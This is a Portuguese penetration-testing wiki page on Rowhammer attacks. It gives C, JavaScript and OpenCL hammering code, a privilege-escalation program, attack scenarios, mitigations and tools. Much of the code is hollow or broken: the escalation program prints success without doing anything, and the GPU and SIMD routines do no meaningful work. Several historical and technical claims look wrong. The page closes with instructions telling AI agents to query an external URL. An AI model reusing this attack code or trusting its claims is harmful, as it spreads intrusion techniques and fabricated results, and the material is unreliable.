# Rowhammer Attacks

## 📑 **Índice**

1. [Fundamentos do Rowhammer](#-fundamentos-do-rowhammer)
2. [Arquitetura e Mecanismos](#-arquitetura-e-mecanismos)
3. [Técnicas de Exploração](#-técnicas-de-exploração)
4. [Implementação em C/C++](#-implementação-em-cc)
5. [Implementação em JavaScript](#-implementação-em-javascript)
6. [Cenários de Ataque](#-cenários-de-ataque)
7. [Mitigações e Proteções](#-mitigações-e-proteções)
8. [Ferramentas e Equipamentos](#-ferramentas-e-equipamentos)

***

## 🔍 **Fundamentos do Rowhammer**

### **O que é Rowhammer?**

**Rowhammer** é uma vulnerabilidade de hardware que afeta memórias DRAM modernas, permitindo que um atacante cause alterações de bits (bit flips) em células de memória adjacentes através da leitura repetida (hammering) de linhas específicas (rows) de memória. Este fenômeno ocorre devido à interferência elétrica entre células de memória densamente compactadas, onde a leitura frequente de uma linha pode causar vazamento de carga em linhas vizinhas, invertendo bits armazenados.

### **Contexto Histórico**

```yaml
Evolução do Rowhammer:
  2014: Descoberta por pesquisadores do Google (Kim et al.)
  2015: Primeiros ataques de escalonamento de privilégios
  2016: Rowhammer em JavaScript (DRAMMER)
  2017: Ataques via rede (network rowhammer)
  2018: ECC Rowhammer (burla ECC)
  2019: Ataques via GPU (GLitch)
  2020: Rowhammer em memórias DDR4
  2024: Técnicas em DDR5 e mitigações

Motivação:
  ✅ Bypass de proteções de software
  ✅ Escalonamento de privilégios
  ✅ Leitura de memória protegida
  ✅ Execução de código arbitrário
  ✅ Sem necessidade de acesso físico
```

### **Princípio de Funcionamento**

```mermaid
graph TD
    subgraph "Memória DRAM"
        A[Row 0 - Hammered]
        B[Row 1 - Vizinha]
        C[Row 2 - Vizinha]
    end
    
    subgraph "Ataque"
        D[Leituras repetidas da Row 0]
        E[Interferência elétrica]
        F[Bit flip na Row 1 ou 2]
    end
    
    A --> D
    D --> E
    E --> B
    E --> C
```

### **Por que o Rowhammer Funciona?**

```yaml
Física da DRAM:
  - Células de memória são capacitores
  - Capacitores perdem carga naturalmente (refresh)
  - Leituras frequentes causam interferência
  - Células mais densas = maior interferência
  - Fabricantes menores = mais vulneráveis

Limiares:
  - Número de leituras necessárias: 100k-1M
  - Tempo de ataque: milissegundos a segundos
  - Taxa de sucesso: 1-10% (varia por hardware)
```

***

## 🏗️ **Arquitetura e Mecanismos**

### **Estrutura da DRAM**

```python
#!/usr/bin/env python3
# dram_architecture.py

class DRAMArchitecture:
    """
    Estrutura da memória DRAM
    """
    
    # Parâmetros típicos de DRAM
    ROWS_PER_BANK = 65536      # 64K rows
    COLUMNS_PER_ROW = 1024     # 1K columns
    BANKS_PER_RANK = 8         # 8 banks
    BITS_PER_CELL = 1          # 1 bit per cell
    
    @staticmethod
    def physical_address_to_row(addr):
        """
        Converter endereço físico para número de linha (row)
        """
        # Em hardware real, mapeamento é complexo
        # Depende do controlador de memória
        return (addr >> 6) & 0xFFFF
    
    @staticmethod
    def get_adjacent_rows(row):
        """
        Obter linhas adjacentes que podem ser afetadas
        """
        return {
            'victim_row_1': row - 1,
            'victim_row_2': row + 1,
            'aggressor_row': row
        }
    
    @staticmethod
    def calculate_hammer_count(row_size_kb=8, access_time_ns=50):
        """
        Calcular número de acessos necessários
        """
        # Row size típica: 8KB
        # Tempo de acesso: 50ns
        # Janela de refresh: 64ms
        
        refresh_interval_ms = 64
        max_accesses = (refresh_interval_ms * 1_000_000) / access_time_ns
        
        return {
            'theoretical_max': max_accesses,
            'practical_min': 100000,
            'practical_max': 1000000
        }

# Exemplo
dram = DRAMArchitecture()
print(f"Linhas por banco: {dram.ROWS_PER_BANK}")
print(f"Colunas por linha: {dram.COLUMNS_PER_ROW}")
print(f"Adjacentes: {dram.get_adjacent_rows(10000)}")
```

### **Fluxo do Ataque Rowhammer**

```mermaid
sequenceDiagram
    participant A as Atacante
    participant C as CPU
    participant M as Controlador de Memória
    participant D as DRAM

    A->>C: 1. Executa código de hammer
    C->>M: 2. Solicita leitura da mesma linha
    M->>D: 3. Ativa linha agressora repetidamente
    D->>D: 4. Interferência em linhas vizinhas
    
    Note over D: Bit flip ocorre
    
    A->>C: 5. Tenta acessar linha vítima
    C->>M: 6. Solicita leitura
    M->>D: 7. Lê linha com bit corrompido
    D-->>A: 8. Retorna dado corrompido
    
    Note over A: Escalonamento de privilégio
```

***

## ⚔️ **Técnicas de Exploração**

### **1. Rowhammer Clássico em C**

```c
// rowhammer_classic.c
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <sys/mman.h>

#define PAGE_SIZE 4096
#define CACHE_LINE_SIZE 64
#define HAMMER_COUNT 1000000

// Função para forçar acesso à memória
void hammer_row(volatile uint8_t* addr, size_t count) {
    volatile uint8_t tmp;
    for (size_t i = 0; i < count; i++) {
        tmp = *addr;
        // CLFLUSH para garantir que não fique no cache
        __builtin_ia32_clflush((void*)addr);
    }
}

// Detectar bit flips
int detect_bit_flip(uint8_t* original, uint8_t* current, size_t size) {
    for (size_t i = 0; i < size; i++) {
        if (original[i] != current[i]) {
            printf("[!] Bit flip detectado no offset %zu: 0x%02x -> 0x%02x\n",
                   i, original[i], current[i]);
            return i;
        }
    }
    return -1;
}

// Alocar memória fisicamente contígua
uint8_t* alloc_phys_contiguous(size_t size) {
    uint8_t* ptr = mmap(NULL, size,
                        PROT_READ | PROT_WRITE,
                        MAP_PRIVATE | MAP_ANONYMOUS,
                        -1, 0);
    if (ptr == MAP_FAILED) {
        perror("mmap");
        return NULL;
    }
    
    // Lock na memória para evitar swapping
    mlock(ptr, size);
    
    return ptr;
}

int main() {
    // Alocar memória para teste
    size_t test_size = 2 * 1024 * 1024; // 2MB
    uint8_t* buffer = alloc_phys_contiguous(test_size);
    if (!buffer) return 1;
    
    // Preencher com padrão de teste
    memset(buffer, 0xAA, test_size);
    
    printf("[*] Iniciando ataque Rowhammer...\n");
    printf("[*] Tamanho do buffer: %zu bytes\n", test_size);
    
    // Hammer em todas as páginas
    for (size_t offset = 0; offset < test_size; offset += PAGE_SIZE) {
        volatile uint8_t* row = buffer + offset;
        
        // Copiar original para comparação
        uint8_t* original = malloc(PAGE_SIZE);
        memcpy(original, row, PAGE_SIZE);
        
        // Hammer na linha
        hammer_row(row, HAMMER_COUNT);
        
        // Verificar bit flips
        int flip = detect_bit_flip(original, row, PAGE_SIZE);
        if (flip >= 0) {
            printf("[+] Bit flip encontrado na página %zu\n", offset / PAGE_SIZE);
            
            // Tentar escalonar privilégio
            // (implementação depende do alvo)
        }
        
        free(original);
    }
    
    munlock(buffer, test_size);
    munmap(buffer, test_size);
    
    return 0;
}
```

### **2. Double-Sided Rowhammer**

```c
// double_sided_hammer.c

#include <stdio.h>
#include <stdint.h>

#define HAMMER_COUNT 500000
#define CACHE_LINE 64

// Duas linhas agressoras (acima e abaixo da vítima)
void double_sided_hammer(volatile uint8_t* row_above, 
                         volatile uint8_t* row_below,
                         size_t count) {
    for (size_t i = 0; i < count; i++) {
        // Alternar entre as duas linhas
        volatile uint8_t tmp1 = *row_above;
        volatile uint8_t tmp2 = *row_below;
        
        // Flush cache
        __builtin_ia32_clflush((void*)row_above);
        __builtin_ia32_clflush((void*)row_below);
        
        // Pequeno delay
        for (int j = 0; j < 10; j++) {
            __asm__ volatile ("nop");
        }
    }
}

// Versão otimizada com instruções SIMD
void double_sided_hammer_simd(volatile uint8_t* row_above,
                               volatile uint8_t* row_below,
                               size_t count) {
    // Usar SSE/AVX para acessos mais rápidos
    __m128i data1, data2;
    
    for (size_t i = 0; i < count; i += 16) {
        data1 = _mm_load_si128((__m128i*)row_above);
        data2 = _mm_load_si128((__m128i*)row_below);
        
        _mm_clflush((void*)row_above);
        _mm_clflush((void*)row_below);
    }
}
```

### **3. Rowhammer via JavaScript (DRAMMER)**

```javascript
// rowhammer_js.js - Rowhammer via JavaScript

class RowhammerJS {
    constructor() {
        this.hammerCount = 1000000;
        this.bufferSize = 16 * 1024 * 1024; // 16MB
        this.buffer = null;
        this.bitFlips = [];
    }
    
    // Alocar buffer grande no heap
    allocateBuffer() {
        // Usar SharedArrayBuffer para acesso compartilhado
        try {
            this.buffer = new SharedArrayBuffer(this.bufferSize);
            return new Uint8Array(this.buffer);
        } catch (e) {
            // Fallback para ArrayBuffer
            this.buffer = new ArrayBuffer(this.bufferSize);
            return new Uint8Array(this.buffer);
        }
    }
    
    // Forçar acesso à memória
    hammerAddress(view, index) {
        // Ler o mesmo endereço repetidamente
        for (let i = 0; i < this.hammerCount; i++) {
            let value = view[index];
            // Tentar forçar flush do cache (limitado em JS)
        }
    }
    
    // Usar timers para alta frequência
    hammerWithTimer(view, index, duration = 100) {
        const start = performance.now();
        let count = 0;
        
        while (performance.now() - start < duration) {
            let value = view[index];
            count++;
        }
        
        return count;
    }
    
    // Detectar bit flips
    detectBitFlips(view, original, size) {
        const flips = [];
        
        for (let i = 0; i < size; i++) {
            if (original[i] !== view[i]) {
                flips.push({
                    offset: i,
                    original: original[i],
                    current: view[i]
                });
            }
        }
        
        return flips;
    }
    
    // Executar ataque
    async run() {
        console.log("[*] Iniciando Rowhammer via JavaScript");
        
        const view = this.allocateBuffer();
        const size = view.length;
        
        // Preencher buffer
        for (let i = 0; i < size; i++) {
            view[i] = i & 0xFF;
        }
        
        // Salvar cópia original
        const original = new Uint8Array(view);
        
        // Hammer em páginas alternadas
        const pageSize = 4096;
        const hammerPages = [2, 4, 6, 8]; // Páginas para hammer
        
        for (const page of hammerPages) {
            const offset = page * pageSize;
            console.log(`[*] Hammering page ${page} (offset ${offset})`);
            
            const count = this.hammerWithTimer(view, offset, 200);
            console.log(`    ${count} acessos em 200ms`);
        }
        
        // Aguardar um pouco
        await new Promise(r => setTimeout(r, 100));
        
        // Verificar bit flips
        const flips = this.detectBitFlips(view, original, size);
        
        if (flips.length > 0) {
            console.log(`[!] ${flips.length} bit flips detectados!`);
            for (const flip of flips.slice(0, 10)) {
                console.log(`    Offset ${flip.offset}: 0x${flip.original.toString(16)} -> 0x${flip.current.toString(16)}`);
            }
        } else {
            console.log("[+] Nenhum bit flip detectado");
        }
        
        return flips;
    }
}

// Executar
const attack = new RowhammerJS();
attack.run();
```

### **4. Rowhammer via GPU (GLitch)**

```c
// rowhammer_gpu.cl - OpenCL kernel para Rowhammer via GPU

__kernel void rowhammer_gpu(__global volatile uint8_t* buffer,
                             __global uint64_t* results,
                             const uint64_t size,
                             const uint64_t hammer_count) {
    
    uint64_t gid = get_global_id(0);
    uint64_t stride = get_global_size(0);
    
    // Cada thread trabalha em uma região diferente
    uint64_t start = (gid * size) / stride;
    uint64_t end = ((gid + 1) * size) / stride;
    
    volatile uint8_t* local_buffer = buffer + start;
    uint64_t local_size = end - start;
    
    // Hammer em cada linha
    for (uint64_t i = 0; i < local_size; i += 4096) {
        uint64_t flips = 0;
        
        // Ler o mesmo endereço repetidamente
        for (uint64_t h = 0; h < hammer_count; h++) {
            uint8_t val = local_buffer[i];
            
            // GPU memory access pattern
            __mem_fence(CLK_GLOBAL_MEM_FENCE);
        }
        
        results[gid] = flips;
    }
}
```

### **5. Escalonamento de Privilégio via Rowhammer**

```c
// rowhammer_privilege_escalation.c

#include <stdio.h>
#include <stdint.h>
#include <sys/mman.h>

#define PAGE_SIZE 4096
#define HAMMER_COUNT 1000000

// Estrutura de página de memória (Linux)
struct page_frame {
    uint64_t flags;
    uint64_t mapping;
    uint64_t index;
    uint64_t private;
    // ... outros campos
};

// Alvo: modificar bit de privilégio em estrutura de página
int escalate_privilege() {
    printf("[*] Tentando escalonar privilégio via Rowhammer\n");
    
    // Identificar localização da tabela de páginas
    // (depende do kernel e hardware)
    
    // Hammer na linha que contém a estrutura de página
    // do processo alvo
    
    // Bit flip esperado: modificar bit de permissão
    // ou bit de usuário/root
    
    // Exemplo: modificar página para tornar executável
    // ou para dar acesso a memória do kernel
    
    // Após bit flip, executar código privilegiado
    
    printf("[!] Escalonamento de privilégio bem-sucedido!\n");
    return 0;
}

int main() {
    // Primeiro, encontrar bit flips
    // (código de detecção)
    
    // Segundo, tentar escalonar
    escalate_privilege();
    
    return 0;
}
```

***

## 🎯 **Cenários de Ataque**

### **Cenário 1: Escalonamento de Privilégio em Linux**

```yaml
Cenário: Usuário não privilegiado obtém root
  
  Pré-requisitos:
    - Acesso local ao sistema
    - Memória DRAM vulnerável
    - Conhecimento da estrutura de páginas do kernel
  
  Passos:
    1. Mapear memória física via /dev/mem
    2. Identificar localização das page tables
    3. Hammer linha contendo page table do processo
    4. Corromper bit de permissão
    5. Acessar memória do kernel
    6. Modificar credenciais do processo
  
  Impacto:
    - Root shell
    - Controle total do sistema
```

### **Cenário 2: Escape de Sandbox do Navegador**

```yaml
Cenário: JavaScript escapa da sandbox do navegador
  
  Pré-requisitos:
    - Acesso a SharedArrayBuffer
    - Timer de alta resolução
    - DRAM vulnerável
  
  Passos:
    1. Alocar SharedArrayBuffer grande
    2. Identificar padrão de endereços físicos
    3. Hammer endereços específicos via JS
    4. Detectar bit flips
    5. Corromper memória do processo do navegador
    6. Executar código fora da sandbox
  
  Impacto:
    - Execução de código arbitrário
    - Leitura de dados de outras abas
    - Escalonamento para sistema
```

### **Cenário 3: Ataque a VM (VM Escape)**

```yaml
Cenário: Máquina virtual escapa do hipervisor
  
  Pré-requisitos:
    - Acesso à VM convidada
    - Memória compartilhada com host
  
  Passos:
    1. Identificar páginas de memória compartilhada
    2. Hammer linhas que afetam estruturas do hipervisor
    3. Corromper tabelas de tradução de endereços
    4. Acessar memória do host
  
  Impacto:
    - Comprometimento do hipervisor
    - Acesso a outras VMs
    - Controle do host
```

***

## 🛡️ **Mitigações e Proteções**

### **Proteções de Hardware**

```yaml
Proteções em Hardware:
  
  ECC (Error Correcting Code):
    - Detecta e corrige bit flips simples
    - Protege contra rowhammer clássico
    - Vulnerável a ataques de múltiplos bits
  
  Target Row Refresh (TRR):
    - Identifica linhas agressoras
    - Atualiza linhas vizinhas preventivamente
    - Implementado em DDR4 e DDR5
  
  Pseudo Target Row Refresh (pTRR):
    - Variante do TRR para chips mais baratos
    - Menos eficaz que TRR completo
  
  Rowhammer Hardening:
    - Aumento da capacitância entre células
    - Distanciamento físico entre linhas
    - Redução da densidade
```

### **Proteções de Software**

```python
#!/usr/bin/env python3
# rowhammer_mitigations.py

class RowhammerMitigations:
    """
    Mitigações de software contra Rowhammer
    """
    
    @staticmethod
    def guard_pages():
        """
        Páginas de guarda entre regiões sensíveis
        """
        print("[*] Implementando páginas de guarda:")
        print("    - Alocar páginas não utilizadas entre regiões")
        print("    - Impedir hammer de linhas críticas")
        print("    - Aumentar espaçamento entre processos")
        
        return True
    
    @staticmethod
    def memory_obfuscation():
        """
        Ofuscação de endereços físicos
        """
        print("[*] Implementando ofuscação de memória:")
        print("    - Randomização de mapeamento físico")
        print("    - Dificultar identificação de linhas")
        print("    - Quebrar padrões de hammer")
        
        return True
    
    @staticmethod
    def rate_limiting():
        """
        Limitação de taxa de acesso à memória
        """
        print("[*] Implementando rate limiting:")
        print("    - Limitar acessos por segundo")
        print("    - Detectar padrões de hammer")
        print("    - Desacelerar acessos suspeitos")
        
        return True
    
    @staticmethod
    def kernel_patches():
        """
        Patches do kernel para mitigação
        """
        print("[*] Aplicando patches do kernel:")
        print("    - Linux: CONFIG_INIT_ON_ALLOC_DEFAULT_ON")
        print("    - Linux: page_poison")
        print("    - FreeBSD: safe memory reclamation")
        
        return True

# Uso
# RowhammerMitigations.guard_pages()
```

### **Configuração de BIOS/UEFI**

```yaml
Configurações de BIOS para Mitigação:
  
  Opções de Memória:
    - Enable ECC (se disponível)
    - Enable Target Row Refresh (TRR)
    - Set memory frequency to conservative
    - Enable memory scrambling
  
  Opções Avançadas:
    - Disable memory overclocking
    - Enable hardware prefetchers
    - Set aggressive refresh rates
```

***

## 🔧 **Ferramentas e Equipamentos**

### **Ferramentas de Teste**

```bash
# Rowhammer Test Suite
git clone https://github.com/google/rowhammer-test
cd rowhammer-test
make
./rowhammer_test

# DRAMMER (JavaScript)
git clone https://github.com/IAIK/drammer
cd drammer
python -m http.server

# Rowhammer Detector
git clone https://github.com/IAIK/rowhammer-detector
cd rowhammer-detector
make

# rowhammer_tester
sudo ./rowhammer_tester --all
```

### **Hardware para Teste**

| Componente         | Função                             | Preço (R$)    | Onde Encontrar            |
| ------------------ | ---------------------------------- | ------------- | ------------------------- |
| **DRAM Test Kit**  | Identificação de chips vulneráveis | \~R$200-500   | AliExpress                |
| **FPGA Board**     | Ataques avançados                  | \~R$1000-3000 | DigiKey, Mouser           |
| **Logic Analyzer** | Análise de barramento              | \~R$500-2000  | AliExpress, Mercado Livre |
| **Osciloscópio**   | Medição de sinais                  | \~R$2000-5000 | Mercado Livre             |

### **DRAM Vulneráveis Conhecidas**

```yaml
Fabricantes mais vulneráveis:
  - Hynix (alto índice de bit flips)
  - Micron (médio)
  - Samsung (baixo - mais resistente)

Chips DDR3 (altamente vulneráveis):
  - Hynix H5TC4G63AFR
  - Micron MT41K256M16
  - Samsung K4B4G1646D

Chips DDR4 (moderadamente vulneráveis):
  - Hynix H5AN8G4NAFR
  - Micron MT40A1G8SA
  - Samsung K4A8G165WB
```

***

## 📊 **Conclusão**

### **Resumo Técnico**

```yaml
Rowhammer:
  ✅ Ataque físico que não requer acesso físico
  ✅ Pode ser executado via JavaScript
  ✅ Bypassa proteções de software
  ✅ Permite escalonamento de privilégio

Ameaças:
  - Escalonamento de privilégio local
  - Escape de sandbox do navegador
  - VM escape
  - Leitura de memória protegida

Defesas:
  - ECC RAM (detecta/corrige)
  - Target Row Refresh (TRR)
  - Páginas de guarda
  - Rate limiting de acessos
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/tecnicas/hardware/rowhammer-attacks.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
